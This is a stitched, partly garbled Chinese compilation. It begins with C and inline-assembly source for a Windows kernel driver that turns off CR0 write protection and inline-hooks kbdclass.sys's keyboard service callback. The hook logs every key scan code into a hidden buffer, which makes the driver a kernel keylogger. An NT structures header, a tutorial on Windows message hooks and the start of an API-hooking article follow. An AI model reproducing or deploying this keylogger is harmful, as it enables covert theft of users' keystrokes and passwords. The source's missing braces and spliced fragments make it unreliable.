        push eax; 
        mov eax, g_uCr0; //恢復原有 CR0 屬性 
        mov cr0, eax;
        pop eax;
    };
   



// 
// 停止 inline hook
// 
VOID UnHookOldFunction ()
{
    KIRQL  oldIrql; 
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 ); 
    KeLowerIrql(oldIrql);
    WPON(); 
    g_bHooked = FALSE;



// 
// 开始 inline hook --  OldFunction
// 
VOID HookOldFunction ()

    KIRQL  oldIrql; 
    if (g_OldFunction == 0) {
        DbgPrint("OldFunction == NULL\n");
        return;
    } 
    //DbgPrint("开始 inline hook --  OldFunction\n");
    DbgPrint( "OldFunction 的地址 t0x%08x\n", (ULONG)g_OldFunction );
    // 保存原函数的前字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★ 
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction -
(ULONG)g_OldFunction - 5;//★ 
    
     
    // 禁止系统写保护,提升 IRQL 到 DPC
    WPOFF(); 
    oldIrql = KeRaiseIrqlToDpcLevel();
 
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//

     
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改
Proxy_OldFunction 函数头 
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7); 
    // 恢复写保护,降低 IRQL
    KeLowerIrql(oldIrql); 
    WPON(); 
    g_bHooked = TRUE;
    
    
}
VOID  ChangeFake_Function()

 KIRQL  oldIrql;
 int i;
 ULONG addr=(ULONG)fake_OldFunction; 
 ULONG code_fill=0xAAAAAAAA;
 DbgPrint("fake_OldFunction:%x",addr);
 WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    for (i=0;i<0x200;i++)
    {
  if (*((ULONG*)(addr+i))==code_fill)
  {
   DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
   *((ULONG*)(addr+i))=(ULONG)KeyBuf;
  }
  
    }
 DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i))  );
    KeLowerIrql(oldIrql);
    WPON(); 
}
VOID  ReadKeyBuf()
{
 BYTE Index=*(BYTE*)KeyBuf;
 BYTE i,j; 
// BYTE _Buf[MAXBUF];
 
 for (i=0;i<MAXBUF;i++)
    {
  DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
 } 
}
// 
// 跳转到我们的函数里面进行预处理
// 
__declspec (naked) 
VOID
fake_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    )
{
  
    
 __asm
    {
   push    eax
        push    ebx
        push    ecx
  push    esi
  xor     esi,esi
  mov     eax, [0xAAAAAAAA];
  mov     ebx, [esp+0x18]
   //movzx   ecx, word ptr [ebx-20]//+2 
  mov     cl , byte ptr [ebx+2];//按键码
        mov     ch , byte ptr [eax];//得到当前位置->ch 
        cmp     ch , MAXBUF
  jnz     NotLastPlace
  mov     ch,  0x0; 
NotLastPlace:
  inc     ch
  movzx   si,ch
  mov     byte ptr [eax],    ch 
        mov     byte ptr [eax+esi],cl 
  
        pop esi 
   pop ecx
   pop ebx
   pop eax 
  jmp Proxy_OldFunction   ;//★在这一系列 JMP 中,没有一处使用 CALL,简化了代码,
增强了稳定性 
    }

//
// 代理函数,负责跳转到原函数中继续执行 
//
__declspec (naked) 
VOID
Proxy_OldFunction (
    PDEVICE_OBJECT  DeviceObject,
    PKEYBOARD_INPUT_DATA  InputDataStart,
    PKEYBOARD_INPUT_DATA  InputDataEnd,
    PULONG  InputDataConsumed
    )
{
   
    __asm {  // 共字节
            _emit 0x90 
            _emit 0x90
            _emit 0x90
            _emit 0x90 
            _emit 0x90  // 前字节实现原函数的头字节功能
            _emit 0x90  // 这个填充 jmp 
            _emit 0x90
            _emit 0x90
            _emit 0x90 
            _emit 0x90  // 这字节保存原函数+5 处的地址
            _emit 0x90   
            _emit 0x90  // 因为是长转移,所以必须是 0x0080
    } 

// 


PVOID 
GetModlueBaseAdress(
     char* ModlueName,
     BOOL bKernelBase
     )

 ULONG size,index;
 PULONG buf;
 NTSTATUS status;
 PSYSTEM_MODULE_INFORMATION module;
 PVOID driverAddress=0;
 
 ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
 if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
  DbgPrint("failed alloc memory failed \n");
  return 0;
 }
 
 status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
 if(!NT_SUCCESS( status )) {
  DbgPrint("failed query\n");
  return 0;
 }
 
 module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
  
 // 系统模块基址
 if ( TRUE == bKernelBase ) 
 {
  driverAddress = module[0].Base;
  DbgPrint("KernelBase:%x\n",driverAddress);
  goto _x_;
 }
  
 // 其他模块基址
 for (index = 0; index < *buf; index++) { 
  if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset,
ModlueName) == 0) 
  {
   driverAddress = module[index].Base;
   DbgPrint("Module found at:%x\n",driverAddress);
   goto _x_;
  }
 }
 
_x_:  
 ExFreePool(buf);
 return driverAddress;



ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );   

//根据特征值,搜索 OldFunction
ULONG FindOldFunctionAddress() 

 NTSTATUS status = STATUS_SUCCESS;
 UNICODE_STRING ustrLinkName;
 UNICODE_STRING ustrDevName;    
 PDEVICE_OBJECT pDevObj;
 ULONG i, curAddr;
 PUCHAR FileContent;
 DWORD dwRet,dwSize;
 PVOID pTmp;
    LARGE_INTEGER timeout;
 KEVENT Kevent;
 ULONG g_kbdclass_base ;
 ULONG g_lpKbdServiceCallback ;
 PDEVICE_OBJECT g_kbDeviceObject = NULL;
    KEYBOARD_INPUT_DATA kid;
 ULONG Addr_OldFunction = 0;
 ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec,
code3_sp2=0x65830845,code4_sp2=0x8b530008;
    //KbdInit();
 g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
 DbgPrint("kbdclass.sys: 0x%08lx\n", (PVOID)g_kbdclass_base);
 
 if ( 0 == g_kbdclass_base ) {
  DbgPrint("ERROR: g_kbdclass_base == 0\n");
  return STATUS_SUCCESS;
 }
 
 curAddr = g_kbdclass_base;
 // DbgPrint("curAddr: 0x%08lx\n", curAddr);
 for (i=curAddr;i<=curAddr+0x2000;i++)
 {
  // DbgPrint("i: 0x%08lx\n", i);
  if (*((ULONG *)i)==code1_sp2) {
   if (*((ULONG *)(i+4))==code2_sp2) { 
    if (*((ULONG *)(i+8))==code3_sp2) {
     if (*((ULONG *)(i+12))==code4_sp2) {
      g_lpKbdServiceCallback=i;
      break ;
     }
    }
   }
  }
 }
 
 Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
 DbgPrint("KeyboardClassServiceCallback: 0x%08lx\n",
(PVOID)g_lpKbdServiceCallback);
 //DbgPrint("g_kbDeviceObject: 0x%08lx\n", (PVOID)g_kbDeviceObject); 
 return Addr_OldFunction;



VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

  UNICODE_STRING strLink;
  RtlInitUnicodeString(&strLink, L"\\DosDevices\\devHookKey");
  
  DbgPrint("My Driver Unloaded!");
  DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode); 
  ReadKeyBuf();
  ExFreePool(KeyBuf);
  IoDeleteSymbolicLink(&strLink);
  IoDeleteDevice(DriverObject->DeviceObject); 
  UnHookOldFunction();

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING theRegistryPath )
{
  NTSTATUS status = STATUS_SUCCESS;
  UNICODE_STRING ustrLinkName;
  UNICODE_STRING ustrDevName;    
  DWORD dwSize,dwRet;
  PVOID pTmp;
  KEYBOARD_INPUT_DATA kid;
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload; 
    
  RtlInitUnicodeString(&ustrDevName, L"\\Device\\devHookKey");
  status = IoCreateDevice(theDriverObject, 
   0,
   &ustrDevName, 
   FILE_DEVICE_UNKNOWN,
   0,
   FALSE,
   &pDevObj);
  
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateDevice = 0x%x\n", status);
   return status;
  }
  
  RtlInitUnicodeString(&ustrLinkName, L"\\DosDevices\\devHookKey");
  status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateSymbolicLink = 0x%x\n", status);
   IoDeleteDevice(pDevObj);  
   return status;
 } 


  KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
  *((BYTE*)KeyBuf)=0x0; 
  ChangeFake_Function();
  g_OldFunction = FindOldFunctionAddress();
  HookOldFunction(); 
  return STATUS_SUCCESS;

/****************************************************************
***********************
* AUTHOR : sudami [[email protected]]
* TIME   : 2008/08/13 [13:8:2008 - 13:07]
* MODULE : struct.h

* Command:  
*   驱动的头文件
*    
*
* Description: 
*   定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体                      
*
***
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*
*****************************************************************
***********************/
#pragma once 
#include <ntddk.h> 
typedef long LONG;
//typedef unsigned char  BOOL, *PBOOL;
typedef unsigned char  BYTE, *PBYTE;
typedef unsigned long  DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD; 
//typedef void  *HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE; 
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE    0x01000000 


//---------------------------------------------------- 
typedef enum _SYSTEM_INFORMATION_CLASS {
 SystemBasicInformation = 0,
 SystemCpuInformation = 1,
 SystemPerformanceInformation = 2,
 SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
 Unknown4,
 SystemProcessInformation = 5,
 Unknown6,
 Unknown7,
 SystemProcessorPerformanceInformation = 8,
 Unknown9, 
 Unknown10,
 SystemModuleInformation = 11,
 Unknown12,
 Unknown13,
 Unknown14,
 Unknown15,
 SystemHandleInformation = 16,
 Unknown17,
 SystemPageFileInformation = 18,
 Unknown19,
 Unknown20,
 SystemCacheInformation = 21,
 Unknown22,
 SystemInterruptInformation = 23,
 SystemDpcBehaviourInformation = 24,
 SystemFullMemoryInformation = 25,
 SystemNotImplemented6 = 25,
 SystemLoadImage = 26,
 SystemUnloadImage = 27,
 SystemTimeAdjustmentInformation = 28,
 SystemTimeAdjustment = 28,
 SystemSummaryMemoryInformation = 29,
 SystemNotImplemented7 = 29,
 SystemNextEventIdInformation = 30,
 SystemNotImplemented8 = 30,
 SystemEventIdsInformation = 31,
 SystemCrashDumpInformation = 32,
 SystemExceptionInformation = 33,
 SystemCrashDumpStateInformation = 34,
 SystemKernelDebuggerInformation = 35,
 SystemContextSwitchInformation = 36,
 SystemRegistryQuotaInformation = 37,
 SystemCurrentTimeZoneInformation = 44,
 SystemTimeZoneInformation = 44,
 SystemLookasideInformation = 45,
 SystemSetTimeSlipEvent = 46,
 SystemCreateSession = 47,
 SystemDeleteSession = 48,
 SystemInvalidInfoClass4 = 49,
 SystemRangeStartInformation = 50,
 SystemVerifierInformation = 51,
 SystemAddVerifier = 52,
 SystemSessionProcessesInformation = 53, 
 SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; 


typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
 ULONG    Reserved[2];
 PVOID    Base;
 ULONG    Size;
 ULONG    Flags;
 USHORT    Index;
 USHORT    Unknown;
 USHORT    LoadCount;
 USHORT    ModuleNameOffset;
 CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION; 
typedef struct {
 DWORD    dwNumberOfModules;
 SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES; 
//  PEB
   
#pragma pack(4)
typedef struct _PEB_LDR_DATA
{
 ULONG Length;
 BOOLEAN Initialized;
 PVOID SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack() 
typedef struct _PEB_ORIG {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[229];
    PVOID Reserved3[59];
    ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG; 
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock); 
struct _PEB_FREE_BLOCK {
 struct _PEB_FREE_BLOCK *Next; 
 ULONG Size;
};
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK; 
typedef struct _RTL_DRIVE_LETTER_CURDIR {
 USHORT Flags;
 USHORT Length;
 ULONG TimeStamp;
 UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 
typedef struct _RTL_USER_PROCESS_PARAMETERS {
 ULONG MaximumLength;
 ULONG Length;
 ULONG Flags;
 ULONG DebugFlags;
 PVOID ConsoleHandle;
 ULONG ConsoleFlags;
 HANDLE StdInputHandle;
 HANDLE StdOutputHandle;
 HANDLE StdErrorHandle;
 UNICODE_STRING CurrentDirectoryPath;
 HANDLE CurrentDirectoryHandle;
 UNICODE_STRING DllPath;
 UNICODE_STRING ImagePathName;
 UNICODE_STRING CommandLine;
 PVOID Environment;
 ULONG StartingPositionLeft;
 ULONG StartingPositionTop;
 ULONG Width;
 ULONG Height;
 ULONG CharWidth;
 ULONG CharHeight;
 ULONG ConsoleTextAttributes;
 ULONG WindowFlags;
 ULONG ShowWindowFlags;
 UNICODE_STRING WindowTitle;
 UNICODE_STRING DesktopName;
 UNICODE_STRING ShellInfo;
 UNICODE_STRING RuntimeData;
 RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 
typedef struct _PEB {
 BOOLEAN InheritedAddressSpace; 
 BOOLEAN ReadImageFileExecOptions;
 BOOLEAN BeingDebugged;
 BOOLEAN Spare;
 HANDLE Mutant;
 PVOID ImageBaseAddress;
 PPEB_LDR_DATA LoaderData;
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
 PVOID SubSystemData;
 PVOID ProcessHeap;
 PVOID FastPebLock;
 PPEBLOCKROUTINE FastPebLockRoutine;
 PPEBLOCKROUTINE FastPebUnlockRoutine;
 ULONG EnvironmentUpdateCount;
 PVOID *KernelCallbackTable;
 PVOID EventLogSection;
 PVOID EventLog;
 PPEB_FREE_BLOCK FreeList;
 ULONG TlsExpansionCounter;
 PVOID TlsBitmap;
 ULONG TlsBitmapBits[0x2];
 PVOID ReadOnlySharedMemoryBase;
 PVOID ReadOnlySharedMemoryHeap;
 PVOID *ReadOnlyStaticServerData;
 PVOID AnsiCodePageData;
 PVOID OemCodePageData;
 PVOID UnicodeCaseTableData;
 ULONG NumberOfProcessors;
 ULONG NtGlobalFlag;
 BYTE Spare2[0x4];
 LARGE_INTEGER CriticalSectionTimeout;
 ULONG HeapSegmentReserve;
 ULONG HeapSegmentCommit;
 ULONG HeapDeCommitTotalFreeThreshold;
 ULONG HeapDeCommitFreeBlockThreshold;
 ULONG NumberOfHeaps;
 ULONG MaximumNumberOfHeaps;
 PVOID **ProcessHeaps;
 PVOID GdiSharedHandleTable;
 PVOID ProcessStarterHelper;
 PVOID GdiDCAttributeList;
 PVOID LoaderLock;
 ULONG OSMajorVersion;
 ULONG OSMinorVersion;
 ULONG OSBuildNumber; 
 ULONG OSPlatformId;
 ULONG ImageSubSystem;
 ULONG ImageSubSystemMajorVersion;
 ULONG ImageSubSystemMinorVersion;
 ULONG GdiHandleBuffer[0x22];
 ULONG PostProcessInitRoutine;
 ULONG TlsExpansionBitmap;
 BYTE TlsExpansionBitmapBits[0x80];
 ULONG SessionId;
} PEB, *PPEB; 


typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER SpareLi1;
    LARGE_INTEGER SpareLi2;
    LARGE_INTEGER SpareLi3;
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    HANDLE InheritedFromUniqueProcessId;
    ULONG HandleCount;
    ULONG SpareUl2;
    ULONG SpareUl3;
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
    ULONG PrivatePageCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; 
typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    KPRIORITY Priority;
    LONG BasePriority;
    ULONG ContextSwitches;
    ULONG ThreadState;
    ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; 


struct _SYSTEM_THREADS
{
 LARGE_INTEGER  KernelTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  CreateTime;
 ULONG    WaitTime;
 PVOID    StartAddress;
 CLIENT_ID   ClientIs;
 KPRIORITY   Priority;
 KPRIORITY   BasePriority;
 ULONG    ContextSwitchCount;
 ULONG    ThreadState;
 KWAIT_REASON  WaitReason;
}; 


struct _SYSTEM_PROCESSES
{
 ULONG    NextEntryDelta;
 ULONG    ThreadCount;
 ULONG    Reserved[6];
 LARGE_INTEGER  CreateTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  KernelTime;
 UNICODE_STRING  ProcessName;
 KPRIORITY   BasePriority;
 ULONG    ProcessId;
 ULONG    InheritedFromProcessId;
 ULONG    HandleCount;
 ULONG    Reserved2[2];
 VM_COUNTERS   VmCounters;
 IO_COUNTERS   IoCounters; //windows 2000 only 
 struct _SYSTEM_THREADS Threads[1];
}; 
typedef struct _HANDLE_TABLE_ENTRY_INFO
{
    ULONG AuditMask;
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO; 


typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        ULONG_PTR ObAttributes;
        PHANDLE_TABLE_ENTRY_INFO InfoTable;
        ULONG_PTR Value;
    };
    union
    {
        ULONG GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        LONG NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; 


typedef struct _HANDLE_TABLE
{
    ULONG TableCode;
    PEPROCESS QuotaProcess;
    PVOID UniqueProcessId;
    ULONG HandleTableLock[4];
    LIST_ENTRY HandleTableList;
    ULONG HandleContentionEvent;
    PVOID DebugInfo;
    LONG ExtraInfoPages;
    ULONG FirstFree;
    ULONG LastFree;
    ULONG NextHandleNeedingPool;
    LONG HandleCount;
    union 
    {
        ULONG Flags;
        UCHAR StrictFIFO:1;
    };
} HANDLE_TABLE, *PHANDLE_TABLE; 
typedef struct _OBJECT_TYPE_INITIALIZER {
 USHORT Length;
 BOOLEAN UseDefaultObject;
 BOOLEAN CaseInsensitive;
 ULONG InvalidAttributes;
 GENERIC_MAPPING GenericMapping;
 ULONG ValidAccessMask;
 BOOLEAN SecurityRequired;
 BOOLEAN MaintainHandleCount;
 BOOLEAN MaintainTypeList;
 POOL_TYPE PoolType;
 ULONG DefaultPagedPoolCharge;
 ULONG DefaultNonPagedPoolCharge;
 PVOID DumpProcedure;
 PVOID OpenProcedure;
 PVOID CloseProcedure;
 PVOID DeleteProcedure;
 PVOID ParseProcedure;
 PVOID SecurityProcedure;
 PVOID QueryNameProcedure;
 PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; 


typedef struct _OBJECT_TYPE {
 ERESOURCE Mutex;
 LIST_ENTRY TypeList;
 UNICODE_STRING Name;            // Copy from object header for convenience
 PVOID DefaultObject;
 ULONG Index;
 ULONG TotalNumberOfObjects;
 ULONG TotalNumberOfHandles;
 ULONG HighWaterNumberOfObjects;
 ULONG HighWaterNumberOfHandles;
 OBJECT_TYPE_INITIALIZER TypeInfo;
 ULONG Key;
 ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE; 
typedef struct _OBJECT_DIRECTORY {
    struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
    ULONG Lock;
    PVOID DeviceMap;
    ULONG SessionId;
 USHORT Reserved;
 USHORT SymbolicLinkUsageCount;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; 
/*
typedef enum _KAPC_ENVIRONMENT {
  OriginalApcEnvironment,
  AttachedApcEnvironment,
  CurrentApcEnvironment,
  InsertApcEnvironment
} KAPC_ENVIRONMENT;
*/ 
typedef enum
{
    OriginalApcEnvironment,
 AttachedApcEnvironment,
 CurrentApcEnvironment
} KAPC_ENVIRONMENT; 
//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... ); 


//---------------------------------------------------- 
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
          IN ULONG SystemInformationClass,
          IN PVOID SystemInformation,
          IN ULONG SystemInformationLength,
          OUT PULONG ReturnLength); 
NTSTATUS
  NtOpenFile(
    OUT PHANDLE  FileHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN ULONG  ShareAccess, 
    IN ULONG  OpenOptions
    ); 


NTSTATUS 
ZwOpenProcess(
   OUT PHANDLE ProcessHandle, 
   IN ACCESS_MASK DesiredAccess, 
   IN POBJECT_ATTRIBUTES ObjectAttributes, 
   IN PCLIENT_ID ClientId
   ); 
NTSTATUS
PsLookupProcessByProcessId(
    IN HANDLE ProcessId,
    OUT PEPROCESS *Process
    ); 


HANDLE
  PsGetProcessId(
    IN PEPROCESS  Process
    ); 


NTSTATUS
RtlFormatCurrentUserKeyPath(
    OUT PUNICODE_STRING CurrentUserKeyPath
    ); 
VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess(); 
NTSTATUS 
ObReferenceObjectByName( 
      IN PUNICODE_STRING ObjectName, 
      IN ULONG Attributes, 
      IN PACCESS_STATE PassedAccessState OPTIONAL, 
      IN ACCESS_MASK DesiredAccess OPTIONAL, 
      IN POBJECT_TYPE ObjectType, 
      IN KPROCESSOR_MODE AccessMode, 
      IN OUT PVOID ParseContext OPTIONAL, 
      OUT PVOID *Object 
      ); 
// 


// 写保护的开&关 
void WPOFF();
void WPON(); 








 
windows vc 编程---hook[钩子] 
fazi 发表于 2005-10-31 9:07:00
 
 

推荐 
hook 是 WINDOWS 提供的一种消息处理机制,它使得程序员可以使用子过程来监视系统消息,
并在消息到达目标过程前得到处理。
下面将介绍 WINNDOWS HOOKS 并且说明如何在 WINDOWS 程序中使用它。 
关于 HOOKS
使用 HOOK 将会降低系统效率,因为它增加了系统处量消息的工作量。建议在必要时才使用 H
OOK,并在消息处理完成后立即移去该 HOOK。
HOOK 链
WINDOWS 提供了几种不同类型的 HOOKS;不同的 HOOK 可以处理不同的消息。例如,WH
_MOUSE HOOK 用来监视鼠标消息。
WINDOWS 为这几种 HOOKS 维护着各自的 HOOK 链。HOOK 链是一个由应用程序定义的回
调函数队列,当某种类型的消息发生时,WINDOWS 向此种类型的 HOOK 链的第一个函数发
送该消息,在第一函数处理完该消息后由该函数向链表中的下一个函数传递消息,依次向下。如
果链中某个函数没有向下传送该消息,那么链表中后面的函数将得不到此消息。(对于某些类型
的 HOOK,不管 HOOK 链中的函数是否向下传递消息,与此类型 HOOK 联系的所有 HOOK 函
数都会收到系统发送的消息)
HOOK 过程
为了拦截特定的消息,你可以使用 SetWindowsHookEx 函数在该类型的 HOOK 链中安装你自
己的 HOOK 函数。该函数语法如下:
public function MyHook(nCode,wParam,iParam) as long
„加入代码
end function
其中 MyHook 可以随便命名,其它不能变。该函数必须放在模块段。nCode 指定 HOOK 类型。
wParam,iParam 的取值随 nCode 不同而不同,它代表了某种类型的 HOOK 的某个特定的动
作。
SetWindowsHookEx 总是将你的 HOOK 函数放置在 HOOK 链的顶端。你可以使用 CallNext
HookEx 函数将系统消息传递给 HOOK 链中的下一个函数。
[注释]对于某些类型的 HOOK,系统将向该类的所有 HOOK 函数发送消息,这时,HOOK 函数
中的 CallNextHookEx 语句将被忽略。 
全局 HOOK 函数可以拦截系统中所有线程的某个特定的消息(此时该 HOOK 函数必须放置在 D
LL 中),局部 HOOK 函数可以拦截指定线程的某特定消息(此时该 HOOK 函数可以放置在 D
LL 中,也可以放置在应用程序的模块段)。
[注释] 建议只在调试时使用全局 HOOK 函数。全局 HOOK 函数将降低系统效率,并且会同其
它使用该类 HOOK 的应用程序产生冲突。 
HOOK 类型
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 可以监视 SendMessage 发送
的消息。系统在向窗体过程发送消息前,将调用 WH_CALLWNDPROC;在窗体过程处理完该
消息后系统将调用 WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 会向 HOOK 过程传送一个 CWPRETSTRUCT 结构的地址。
该结构包含了窗体过程处理系统消息后的一些信息。 
WH_CBT Hook
系统在激活,创建,消毁,最小化,最大化,移动,改变窗体前;在完成一条系统命令前;在从
系统消息队列中移去鼠标或键盘事件前;在设置输入焦点前,或同步系统消息队列前,将调用
WH_CBT HOOK。你可以在你的 HOOK 过程拦截该类 HOOK,并返回一个值,告诉系统,是
否继续执行上面的操作。
WH_DEBUG HOOK 
系统在调用与某种 HOOK 类型联系的 HOOK 过程前,将调用 WH_DEBUG ,应用程序可以使
用该 HOOK 决定是否让系统执行某种类型的 HOOK。
WH_FOREGROUNDIDLE Hook
系统在空闲时调用该 HOOK,在后台执行优先权较低的应用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook 使应用程序可以拦截 GetMessage 或 PeekMessage 的消息。应
用程序使用 WH_GETMESSAGE HOOK 监视鼠标、键盘输入和发送到队列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使应用程序可以监视输入事件。典型地,应用程序使用该 HO
OK 记录鼠标、键盘输入事件以供以后回放。该 HOOK 是全局 HOOK,并且不能在指定线程中
使用。 
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使应用程序可以向系统消息队列中插入消息。该 HOOK
可以回放以前由 WH_JOURNALRECORD HOOK 录制的鼠标、键盘输入事件。在 WH_JOUR
NALPLAYBACK Hook 安装到系统时,鼠标、键盘输入事件将被屏蔽。该 HOOK 同样是一个
全局 HOOK,不能在指定线程中使用。
WH_JOURNALPLAYBACK Hook 返回一个时间暂停值,它告诉系统,在处理当前回放的消息
时,系统等待百分之几秒。这使得此 HOOK 可以控制在回放时的时间事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的 WM_
KEYDOWN 及 WM_KEYUP 消息。应用程序使用该 HOOK 监视发送到消息队列中的键盘输入。
WH_MOUSE Hook 
WH_MOUSE Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的消息。应
用程序使用该 HOOK 监视发送到消息队列中的鼠标输入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使应用程序可以监视菜单、滚动条、消息
框、对话框,当用户使用 ALT+TAB 或 ALT+ESC 来切换窗体时,该 HOOK 也可以拦截到消息。
WH_MSGFILTER 仅在应用程序内部监视菜单、滚动条、消息框、对话框,而 WH_SYSMSGF
ILTER 则可以在系统内监视所有应用程序的这些事件。
WH_SHELL Hook
一个 SHELL 程序可以使用 WH_SHELL Hook 来接收重要的信息。当一个 SHELL 程序被激活
前或当前窗体被创建、消毁时,系统会调用 WH_SHELL Hook 过程。 






 
跨进程 API Hook(初稿) 
 
跨进程 API Hook(初稿)


什么是“跨进程 API Hook”?
众所周知 Windows 应用程序的各种系统功能是通过调用 API 函数来实现。API Hook 就是给系统的 API
附加上一段小程序,它能监视甚至控制应用程序对 API 函数的调用。所谓跨进程也就是让自己的程序来控
制别人程序的 API 调用了。


API Hook 理论
